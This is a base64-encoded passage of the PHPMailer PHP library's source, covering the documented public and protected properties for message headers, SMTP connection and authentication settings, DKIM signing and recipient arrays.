BzZXQgYXQgYWxsLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkUHJpb3JpdHkgPSBudWxsOwoKICAgIC8qKgogICAgICogVGhlIGNoYXJhY3RlciBzZXQgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENoYXJTZXQgPSAnaXNvLTg4NTktMSc7CgogICAgLyoqCiAgICAgKiBUaGUgTUlNRSBDb250ZW50LXR5cGUgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENvbnRlbnRUeXBlID0gJ3RleHQvcGxhaW4nOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgZW5jb2RpbmcuCiAgICAgKiBPcHRpb25zOiAiOGJpdCIsICI3Yml0IiwgImJpbmFyeSIsICJiYXNlNjQiLCBhbmQgInF1b3RlZC1wcmludGFibGUiLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRFbmNvZGluZyA9ICc4Yml0JzsKCiAgICAvKioKICAgICAqIEhvbGRzIHRoZSBtb3N0IHJlY2VudCBtYWlsZXIgZXJyb3IgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRXJyb3JJbmZvID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBlbWFpbCBhZGRyZXNzIGZvciB0aGUgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRnJvbSA9ICdyb290QGxvY2FsaG9zdCc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBuYW1lIG9mIHRoZSBtZXNzYWdlLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRGcm9tTmFtZSA9ICdSb290IFVzZXInOwoKICAgIC8qKgogICAgICogVGhlIFNlbmRlciBlbWFpbCAoUmV0dXJuLVBhdGgpIG9mIHRoZSBtZXNzYWdlLgogICAgICogSWYgbm90IGVtcHR5LCB3aWxsIGJlIHNlbnQgdmlhIC1mIHRvIHNlbmRtYWlsIG9yIGFzICdNQUlMIEZST00nIGluIHNtdHAgbW9kZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU2VuZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgUmV0dXJuLVBhdGggb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBJZiBlbXB0eSwgaXQgd2lsbCBiZSBzZXQgdG8gZWl0aGVyIEZyb20gb3IgU2VuZGVyLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIEVtYWlsIHNlbmRlcnMgc2hvdWxkIG5ldmVyIHNldCBhIHJldHVybi1wYXRoIGhlYWRlcjsKICAgICAqIGl0J3MgdGhlIHJlY2VpdmVyJ3Mgam9iIChSRkM1MzIxIHNlY3Rpb24gNC40KSwgc28gdGhpcyBubyBsb25nZXIgZG9lcyBhbnl0aGluZy4KICAgICAqIEBsaW5rIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIxI3NlY3Rpb24tNC40IFJGQzUzMjEgcmVmZXJlbmNlCiAgICAgKi8KICAgIHB1YmxpYyAkUmV0dXJuUGF0aCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFN1YmplY3Qgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFN1YmplY3QgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIEhUTUwgb3IgcGxhaW4gdGV4dCBtZXNzYWdlIGJvZHkuCiAgICAgKiBJZiBIVE1MIHRoZW4gY2FsbCBpc0hUTUwodHJ1ZSkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBwbGFpbi10ZXh0IG1lc3NhZ2UgYm9keS4KICAgICAqIFRoaXMgYm9keSBjYW4gYmUgcmVhZCBieSBtYWlsIGNsaWVudHMgdGhhdCBkbyBub3QgaGF2ZSBIVE1MIGVtYWlsCiAgICAgKiBjYXBhYmlsaXR5IHN1Y2ggYXMgbXV0dCAmIEV1ZG9yYS4KICAgICAqIENsaWVudHMgdGhhdCBjYW4gcmVhZCBIVE1MIHdpbGwgdmlldyB0aGUgbm9ybWFsIEJvZHkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEFsdEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIGlDYWwgbWVzc2FnZSBwYXJ0IGJvZHkuCiAgICAgKiBPbmx5IHN1cHBvcnRlZCBpbiBzaW1wbGUgYWx0IG9yIGFsdF9pbmxpbmUgbWVzc2FnZSB0eXBlcwogICAgICogVG8gZ2VuZXJhdGUgaUNhbCBldmVudHMsIHVzZSB0aGUgYnVuZGxlZCBleHRyYXMvRWFzeVBlYXN5SUNTLnBocCBjbGFzcyBvciBpQ2FsY3JlYXRvcgogICAgICogQGxpbmsgaHR0cDovL3NwcmFpbi5jaC9ibG9nL2Rvd25sb2Fkcy9waHAtY2xhc3MtZWFzeXBlYXN5aWNzLWNyZWF0ZS1pY2FsLWZpbGVzLXdpdGgtcGhwLwogICAgICogQGxpbmsgaHR0cDovL2tpZ2tvbnN1bHQuc2UvaUNhbGNyZWF0b3IvCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEljYWwgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBjb21wbGV0ZSBjb21waWxlZCBNSU1FIG1lc3NhZ2UgYm9keS4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgJE1JTUVCb2R5ID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgY29tcGxldGUgY29tcGlsZWQgTUlNRSBtZXNzYWdlIGhlYWRlcnMuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRNSU1FSGVhZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBFeHRyYSBoZWFkZXJzIHRoYXQgY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkbWFpbEhlYWRlciA9ICcnOwoKICAgIC8qKgogICAgICogV29yZC13cmFwIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhpcyBudW1iZXIgb2YgY2hhcnMuCiAgICAgKiBTZXQgdG8gMCB0byBub3Qgd3JhcC4gQSB1c2VmdWwgdmFsdWUgaGVyZSBpcyA3OCwgZm9yIFJGQzI4MjIgc2VjdGlvbiAyLjEuMSBjb21wbGlhbmNlLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkV29yZFdyYXAgPSAwOwoKICAgIC8qKgogICAgICogV2hpY2ggbWV0aG9kIHRvIHVzZSB0byBzZW5kIG1haWwuCiAgICAgKiBPcHRpb25zOiAibWFpbCIsICJzZW5kbWFpbCIsIG9yICJzbXRwIi4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkTWFpbGVyID0gJ21haWwnOwoKICAgIC8qKgogICAgICogVGhlIHBhdGggdG8gdGhlIHNlbmRtYWlsIHByb2dyYW0uCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFNlbmRtYWlsID0gJy91c3Ivc2Jpbi9zZW5kbWFpbCc7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIG1haWwoKSB1c2VzIGEgZnVsbHkgc2VuZG1haWwtY29tcGF0aWJsZSBNVEEuCiAgICAgKiBPbmUgd2hpY2ggc3VwcG9ydHMgc2VuZG1haWwncyAiLW9pIC1mIiBvcHRpb25zLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlU2VuZG1haWxPcHRpb25zID0gdHJ1ZTsKCiAgICAvKioKICAgICAqIFBhdGggdG8gUEhQTWFpbGVyIHBsdWdpbnMuCiAgICAgKiBVc2VmdWwgaWYgdGhlIFNNVFAgY2xhc3MgaXMgbm90IGluIHRoZSBQSFAgaW5jbHVkZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIFNob3VsZCBub3QgYmUgbmVlZGVkIG5vdyB0aGVyZSBpcyBhbiBhdXRvbG9hZGVyLgogICAgICovCiAgICBwdWJsaWMgJFBsdWdpbkRpciA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGVtYWlsIGFkZHJlc3MgdGhhdCBhIHJlYWRpbmcgY29uZmlybWF0aW9uIHNob3VsZCBiZSBzZW50IHRvLCBhbHNvIGtub3duIGFzIHJlYWQgcmVjZWlwdC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQ29uZmlybVJlYWRpbmdUbyA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGhvc3RuYW1lIHRvIHVzZSBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgYW5kIGFzIGRlZmF1bHQgSEVMTyBzdHJpbmcuCiAgICAgKiBJZiBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQgb25lIHdpdGgsIGluIG9yZGVyLAogICAgICogJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10sIGdldGhvc3RuYW1lKCksIHBocF91bmFtZSgnbicpLCBvciB0aGUgdmFsdWUKICAgICAqICdsb2NhbGhvc3QubG9jYWxkb21haW4nLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRIb3N0bmFtZSA9ICcnOwoKICAgIC8qKgogICAgICogQW4gSUQgdG8gYmUgdXNlZCBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIuCiAgICAgKiBJZiBlbXB0eSwgYSB1bmlxdWUgaWQgd2lsbCBiZSBnZW5lcmF0ZWQuCiAgICAgKiBZb3UgY2FuIHNldCB5b3VyIG93biwgYnV0IGl0IG11c3QgYmUgaW4gdGhlIGZvcm1hdCAiPGlkQGRvbWFpbj4iLAogICAgICogYXMgZGVmaW5lZCBpbiBSRkM1MzIyIHNlY3Rpb24gMy42LjQgb3IgaXQgd2lsbCBiZSBpZ25vcmVkLgogICAgICogQHNlZSBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjNTMyMiNzZWN0aW9uLTMuNi40CiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VJRCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgRGF0ZSB0byBiZSB1c2VkIGluIHRoZSBEYXRlIGhlYWRlci4KICAgICAqIElmIGVtcHR5LCB0aGUgY3VycmVudCBkYXRlIHdpbGwgYmUgYWRkZWQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VEYXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGhvc3RzLgogICAgICogRWl0aGVyIGEgc2luZ2xlIGhvc3RuYW1lIG9yIG11bHRpcGxlIHNlbWljb2xvbi1kZWxpbWl0ZWQgaG9zdG5hbWVzLgogICAgICogWW91IGNhbiBhbHNvIHNwZWNpZnkgYSBkaWZmZXJlbnQgcG9ydAogICAgICogZm9yIGVhY2ggaG9zdCBieSB1c2luZyB0aGlzIGZvcm1hdDogW2hvc3RuYW1lOnBvcnRdCiAgICAgKiAoZS5nLiAic210cDEuZXhhbXBsZS5jb206MjU7c210cDIuZXhhbXBsZS5jb20iKS4KICAgICAqIFlvdSBjYW4gYWxzbyBzcGVjaWZ5IGVuY3J5cHRpb24gdHlwZSwgZm9yIGV4YW1wbGU6CiAgICAgKiAoZS5nLiAidGxzOi8vc210cDEuZXhhbXBsZS5jb206NTg3O3NzbDovL3NtdHAyLmV4YW1wbGUuY29tOjQ2NSIpLgogICAgICogSG9zdHMgd2lsbCBiZSB0cmllZCBpbiBvcmRlci4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkSG9zdCA9ICdsb2NhbGhvc3QnOwoKICAgIC8qKgogICAgICogVGhlIGRlZmF1bHQgU01UUCBzZXJ2ZXIgcG9ydC4KICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQFRPRE8gV2h5IGlzIHRoaXMgbmVlZGVkIHdoZW4gdGhlIFNNVFAgY2xhc3MgdGFrZXMgY2FyZSBvZiBpdD8KICAgICAqLwogICAgcHVibGljICRQb3J0ID0gMjU7CgogICAgLyoqCiAgICAgKiBUaGUgU01UUCBIRUxPIG9mIHRoZSBtZXNzYWdlLgogICAgICogRGVmYXVsdCBpcyAkSG9zdG5hbWUuIElmICRIb3N0bmFtZSBpcyBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQKICAgICAqIG9uZSB3aXRoIHRoZSBzYW1lIG1ldGhvZCBkZXNjcmliZWQgYWJvdmUgZm9yICRIb3N0bmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JEhvc3RuYW1lCiAgICAgKi8KICAgIHB1YmxpYyAkSGVsbyA9ICcnOwoKICAgIC8qKgogICAgICogV2hhdCBraW5kIG9mIGVuY3J5cHRpb24gdG8gdXNlIG9uIHRoZSBTTVRQIGNvbm5lY3Rpb24uCiAgICAgKiBPcHRpb25zOiAnJywgJ3NzbCcgb3IgJ3RscycKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUFNlY3VyZSA9ICcnOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBlbmFibGUgVExTIGVuY3J5cHRpb24gYXV0b21hdGljYWxseSBpZiBhIHNlcnZlciBzdXBwb3J0cyBpdCwKICAgICAqIGV2ZW4gaWYgYFNNVFBTZWN1cmVgIGlzIG5vdCBzZXQgdG8gJ3RscycuCiAgICAgKiBCZSBhd2FyZSB0aGF0IGluIFBIUCA+PSA1LjYgdGhpcyByZXF1aXJlcyB0aGF0IHRoZSBzZXJ2ZXIncyBjZXJ0aWZpY2F0ZXMgYXJlIHZhbGlkLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dG9UTFMgPSB0cnVlOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byB1c2UgU01UUCBhdXRoZW50aWNhdGlvbi4KICAgICAqIFVzZXMgdGhlIFVzZXJuYW1lIGFuZCBQYXNzd29yZCBwcm9wZXJ0aWVzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFVzZXJuYW1lCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFBhc3N3b3JkCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dGggPSBmYWxzZTsKCiAgICAvKioKICAgICAqIE9wdGlvbnMgYXJyYXkgcGFzc2VkIHRvIHN0cmVhbV9jb250ZXh0X2NyZWF0ZSB3aGVuIGNvbm5lY3RpbmcgdmlhIFNNVFAuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyAkU01UUE9wdGlvbnMgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogU01UUCB1c2VybmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlcm5hbWUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcGFzc3dvcmQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFBhc3N3b3JkID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGF1dGggdHlwZS4KICAgICAqIE9wdGlvbnMgYXJlIENSQU0tTUQ1LCBMT0dJTiwgUExBSU4sIE5UTE0sIFhPQVVUSDIsIGF0dGVtcHRlZCBpbiB0aGF0IG9yZGVyIGlmIG5vdCBzcGVjaWZpZWQKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQXV0aFR5cGUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcmVhbG0uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkUmVhbG0gPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgd29ya3N0YXRpb24uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkV29ya3N0YXRpb24gPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTTVRQIHNlcnZlciB0aW1lb3V0IGluIHNlY29uZHMuCiAgICAgKiBEZWZhdWx0IG9mIDUgbWludXRlcyAoMzAwc2VjKSBpcyBmcm9tIFJGQzI4MjEgc2VjdGlvbiA0LjUuMy4yCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgcHVibGljICRUaW1lb3V0ID0gMzAwOwoKICAgIC8qKgogICAgICogU01UUCBjbGFzcyBkZWJ1ZyBvdXRwdXQgbW9kZS4KICAgICAqIERlYnVnIG91dHB1dCBsZXZlbC4KICAgICAqIE9wdGlvbnM6CiAgICAgKiAqIGAwYCBObyBvdXRwdXQKICAgICAqICogYDFgIENvbW1hbmRzCiAgICAgKiAqIGAyYCBEYXRhIGFuZCBjb21tYW5kcwogICAgICogKiBgM2AgQXMgMiBwbHVzIGNvbm5lY3Rpb24gc3RhdHVzCiAgICAgKiAqIGA0YCBMb3ctbGV2ZWwgZGF0YSBvdXRwdXQKICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQHNlZSBTTVRQOjokZG9fZGVidWcKICAgICAqLwogICAgcHVibGljICRTTVRQRGVidWcgPSAwOwoKICAgIC8qKgogICAgICogSG93IHRvIGhhbmRsZSBkZWJ1ZyBvdXRwdXQuCiAgICAgKiBPcHRpb25zOgogICAgICogKiBgZWNob2AgT3V0cHV0IHBsYWluLXRleHQgYXMtaXMsIGFwcHJvcHJpYXRlIGZvciBDTEkKICAgICAqICogYGh0bWxgIE91dHB1dCBlc2NhcGVkLCBsaW5lIGJyZWFrcyBjb252ZXJ0ZWQgdG8gYDxicj5gLCBhcHByb3ByaWF0ZSBmb3IgYnJvd3NlciBvdXRwdXQKICAgICAqICogYGVycm9yX2xvZ2AgT3V0cHV0IHRvIGVycm9yIGxvZyBhcyBjb25maWd1cmVkIGluIHBocC5pbmkKICAgICAqCiAgICAgKiBBbHRlcm5hdGl2ZWx5LCB5b3UgY2FuIHByb3ZpZGUgYSBjYWxsYWJsZSBleHBlY3RpbmcgdHdvIHBhcmFtczogYSBtZXNzYWdlIHN0cmluZyBhbmQgdGhlIGRlYnVnIGxldmVsOgogICAgICogPGNvZGU+CiAgICAgKiAkbWFpbC0+RGVidWdvdXRwdXQgPSBmdW5jdGlvbigkc3RyLCAkbGV2ZWwpIHtlY2hvICJkZWJ1ZyBsZXZlbCAkbGV2ZWw7IG1lc3NhZ2U6ICRzdHIiO307CiAgICAgKiA8L2NvZGU+CiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHNlZSBTTVRQOjokRGVidWdvdXRwdXQKICAgICAqLwogICAgcHVibGljICREZWJ1Z291dHB1dCA9ICdlY2hvJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8ga2VlcCBTTVRQIGNvbm5lY3Rpb24gb3BlbiBhZnRlciBlYWNoIG1lc3NhZ2UuCiAgICAgKiBJZiB0aGlzIGlzIHNldCB0byB0cnVlIHRoZW4gdG8gY2xvc2UgdGhlIGNvbm5lY3Rpb24KICAgICAqIHJlcXVpcmVzIGFuIGV4cGxpY2l0IGNhbGwgdG8gc210cENsb3NlKCkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRTTVRQS2VlcEFsaXZlID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIHRvIHNwbGl0IG11bHRpcGxlIHRvIGFkZHJlc3NlcyBpbnRvIG11bHRpcGxlIG1lc3NhZ2VzCiAgICAgKiBvciBzZW5kIHRoZW0gYWxsIGluIG9uZSBtZXNzYWdlLgogICAgICogT25seSBzdXBwb3J0ZWQgaW4gYG1haWxgIGFuZCBgc2VuZG1haWxgIHRyYW5zcG9ydHMsIG5vdCBpbiBTTVRQLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU2luZ2xlVG8gPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFN0b3JhZ2UgZm9yIGFkZHJlc3NlcyB3aGVuIFNpbmdsZVRvIGlzIGVuYWJsZWQuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAVE9ETyBUaGlzIHNob3VsZCByZWFsbHkgbm90IGJlIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgJFNpbmdsZVRvQXJyYXkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBnZW5lcmF0ZSBWRVJQIGFkZHJlc3NlcyBvbiBzZW5kLgogICAgICogT25seSBhcHBsaWNhYmxlIHdoZW4gc2VuZGluZyB2aWEgU01UUC4KICAgICAqIEBsaW5rIGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1ZhcmlhYmxlX2VudmVsb3BlX3JldHVybl9wYXRoCiAgICAgKiBAbGluayBodHRwOi8vd3d3LnBvc3RmaXgub3JnL1ZFUlBfUkVBRE1FLmh0bWwgUG9zdGZpeCBWRVJQIGluZm8KICAgICAqIEB2YXIgYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgJGRvX3ZlcnAgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gYWxsb3cgc2VuZGluZyBtZXNzYWdlcyB3aXRoIGFuIGVtcHR5IGJvZHkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRBbGxvd0VtcHR5ID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBUaGUgZGVmYXVsdCBsaW5lIGVuZGluZy4KICAgICAqIEBub3RlIFRoZSBkZWZhdWx0IHJlbWFpbnMgIlxuIi4gV2UgZm9yY2UgQ1JMRiB3aGVyZSB3ZSBrbm93CiAgICAgKiAgICAgICAgaXQgbXVzdCBiZSB1c2VkIHZpYSBzZWxmOjpDUkxGLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRMRSA9ICJcbiI7CgogICAgLyoqCiAgICAgKiBES0lNIHNlbGVjdG9yLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX3NlbGVjdG9yID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIElkZW50aXR5LgogICAgICogVXN1YWxseSB0aGUgZW1haWwgYWRkcmVzcyB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIGVtYWlsLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX2lkZW50aXR5ID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHBhc3NwaHJhc2UuCiAgICAgKiBVc2VkIGlmIHlvdXIga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wYXNzcGhyYXNlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHNpZ25pbmcgZG9tYWluIG5hbWUuCiAgICAgKiBAZXhhbXBsZSAnZXhhbXBsZS5jb20nCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJERLSU1fZG9tYWluID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IHN0cmluZy4KICAgICAqIElmIHNldCwgdGFrZXMgcHJlY2VkZW5jZSBvdmVyIGAkREtJTV9wcml2YXRlYC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlX3N0cmluZyA9ICcnOwoKICAgIC8qKgogICAgICogQ2FsbGJhY2sgQWN0aW9uIGZ1bmN0aW9uIG5hbWUuCiAgICAgKgogICAgICogVGhlIGZ1bmN0aW9uIHRoYXQgaGFuZGxlcyB0aGUgcmVzdWx0IG9mIHRoZSBzZW5kIGVtYWlsIGFjdGlvbi4KICAgICAqIEl0IGlzIGNhbGxlZCBvdXQgYnkgc2VuZCgpIGZvciBlYWNoIGVtYWlsIHNlbnQuCiAgICAgKgogICAgICogVmFsdWUgY2FuIGJlIGFueSBwaHAgY2FsbGFibGU6IGh0dHA6Ly93d3cucGhwLm5ldC9pc19jYWxsYWJsZQogICAgICoKICAgICAqIFBhcmFtZXRlcnM6CiAgICAgKiAgIGJvb2xlYW4gJHJlc3VsdCAgICAgICAgcmVzdWx0IG9mIHRoZSBzZW5kIGFjdGlvbgogICAgICogICBhcnJheSAgICR0byAgICAgICAgICAgIGVtYWlsIGFkZHJlc3NlcyBvZiB0aGUgcmVjaXBpZW50cwogICAgICogICBhcnJheSAgICRjYyAgICAgICAgICAgIGNjIGVtYWlsIGFkZHJlc3NlcwogICAgICogICBhcnJheSAgICRiY2MgICAgICAgICAgIGJjYyBlbWFpbCBhZGRyZXNzZXMKICAgICAqICAgc3RyaW5nICAkc3ViamVjdCAgICAgICB0aGUgc3ViamVjdAogICAgICogICBzdHJpbmcgICRib2R5ICAgICAgICAgIHRoZSBlbWFpbCBib2R5CiAgICAgKiAgIHN0cmluZyAgJGZyb20gICAgICAgICAgZW1haWwgYWRkcmVzcyBvZiBzZW5kZXIKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkYWN0aW9uX2Z1bmN0aW9uID0gJyc7CgogICAgLyoqCiAgICAgKiBXaGF0IHRvIHB1dCBpbiB0aGUgWC1NYWlsZXIgaGVhZGVyLgogICAgICogT3B0aW9uczogQW4gZW1wdHkgc3RyaW5nIGZvciBQSFBNYWlsZXIgZGVmYXVsdCwgd2hpdGVzcGFjZSBmb3Igbm9uZSwgb3IgYSBzdHJpbmcgdG8gdXNlCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFhNYWlsZXIgPSAnICc7CgogICAgLyoqCiAgICAgKiBXaGljaCB2YWxpZGF0b3IgdG8gdXNlIGJ5IGRlZmF1bHQgd2hlbiB2YWxpZGF0aW5nIGVtYWlsIGFkZHJlc3Nlcy4KICAgICAqIE1heSBiZSBhIGNhbGxhYmxlIHRvIGluamVjdCB5b3VyIG93biB2YWxpZGF0b3IsIGJ1dCB0aGVyZSBhcmUgc2V2ZXJhbCBidWlsdC1pbiB2YWxpZGF0b3JzLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygpCiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljICR2YWxpZGF0b3IgPSAnYXV0byc7CgogICAgLyoqCiAgICAgKiBBbiBpbnN0YW5jZSBvZiB0aGUgU01UUCBzZW5kZXIgY2xhc3MuCiAgICAgKiBAdmFyIFNNVFAKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc210cCA9IG51bGw7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ3RvJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICR0byA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2NjJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRjYyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2JjYycgbmFtZXMgYW5kIGFkZHJlc3Nlcy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYmNjID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiByZXBseS10byBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIEFuIGFycmF5IG9mIGFsbCBraW5kcyBvZiBhZGRyZXNzZXMu